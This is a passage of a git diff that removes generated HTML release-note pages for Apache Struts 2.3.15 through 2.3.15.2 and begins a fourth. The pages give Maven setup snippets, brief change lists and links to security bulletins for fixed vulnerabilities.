-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31822529">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31822529">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31822529">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31822529">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.15 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-23143.html">Version Notes 2.3.14.3</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.15&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.15-InternalChanges">Internal Changes</h2>
-
-<ul><li>Merged security fix from version 2.3.14.1, 2.3.14.2 and 2.3.14.3</li><li>Resolved problem with memory leak in <code>ContainerHolder</code></li><li>Resolved bug related to <code>struts.convention.action.includeJars</code>, see <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-4038">WW-4038</a></li><li>Improved OSGi support to allow work in Glassfish 3, see <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3958"> [...]
-
-
-<h3 id="VersionNotes2.3.15-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?version=12324267&amp;projectId=12311041">JIRA Release Notes 2.3.15</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.15-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12324167">Struts 2.3.15 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12324168">Struts 2.3.16 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.15-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23151.html b/content/docs/version-notes-23151.html
deleted file mode 100644
index 047fbf6..0000000
--- a/content/docs/version-notes-23151.html
+++ /dev/null
@@ -1,204 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.15.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23151.html">Version Notes 2.3.15.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.15.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33294621">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33294621">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33294621">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33294621">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33294621">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33294621">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.15.1 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-2315.html">Version Notes 2.3.15</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.15.1&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.15.1-InternalChanges">Internal Changes</h2>
-
-<ul><li>Remote code execution and open redirect vulnerabilities fixed</li><li>Server side file path leakage fixed</li><li>Improved input sanitizing for file upload example</li></ul>
-
-
-<h3 id="VersionNotes2.3.15.1-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12324740">JIRA Release Notes 2.3.15.1</a></li><li><a shape="rect" href="s2-016.html">Security Bulletin S2-016</a></li><li><a shape="rect" href="s2-017.html">Security Bulletin S2-017</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.15.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12324490">Struts 2.3.15.1 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12324168">Struts 2.3.16 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.15.1-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23152.html b/content/docs/version-notes-23152.html
deleted file mode 100644
index 65ee6a1..0000000
--- a/content/docs/version-notes-23152.html
+++ /dev/null
@@ -1,206 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.15.2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23152.html">Version Notes 2.3.15.2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.15.2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34019018">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34019018">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34019018">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34019018">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34019018">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34019018">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.15.2 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-23151.html">Version Notes 2.3.15.1</a> and <a shape="rect" href="version-notes-2315.html">Version Notes 2.3.15</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.15.2&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;
-</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.15.2-InternalChanges">Internal Changes</h2>
-
-<ul class="alternate"><li>Broken Access Control Issue fixed</li><li>Dynamic Method Invocation set to false by default</li></ul>
-
-
-<h3 id="VersionNotes2.3.15.2-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?version=12325012&amp;projectId=12311041">JIRA Release Notes 2.3.15.2</a></li><li><a shape="rect" href="s2-018.html">Security Bulletin S2-018</a></li><li><a shape="rect" href="s2-019.html">Security Bulletin S2-019</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.15.2-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12324878">Struts 2.3.15.2 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12324168">Struts 2.3.16 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.15.2-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23153.html b/content/docs/version-notes-23153.html
deleted file mode 100644
index 7c12acc..0000000
--- a/content/docs/version-notes-23153.html
+++ /dev/null
@@ -1,206 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.15.3</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23153.html">Version Notes 2.3.15.3</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.15.3</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34834621">
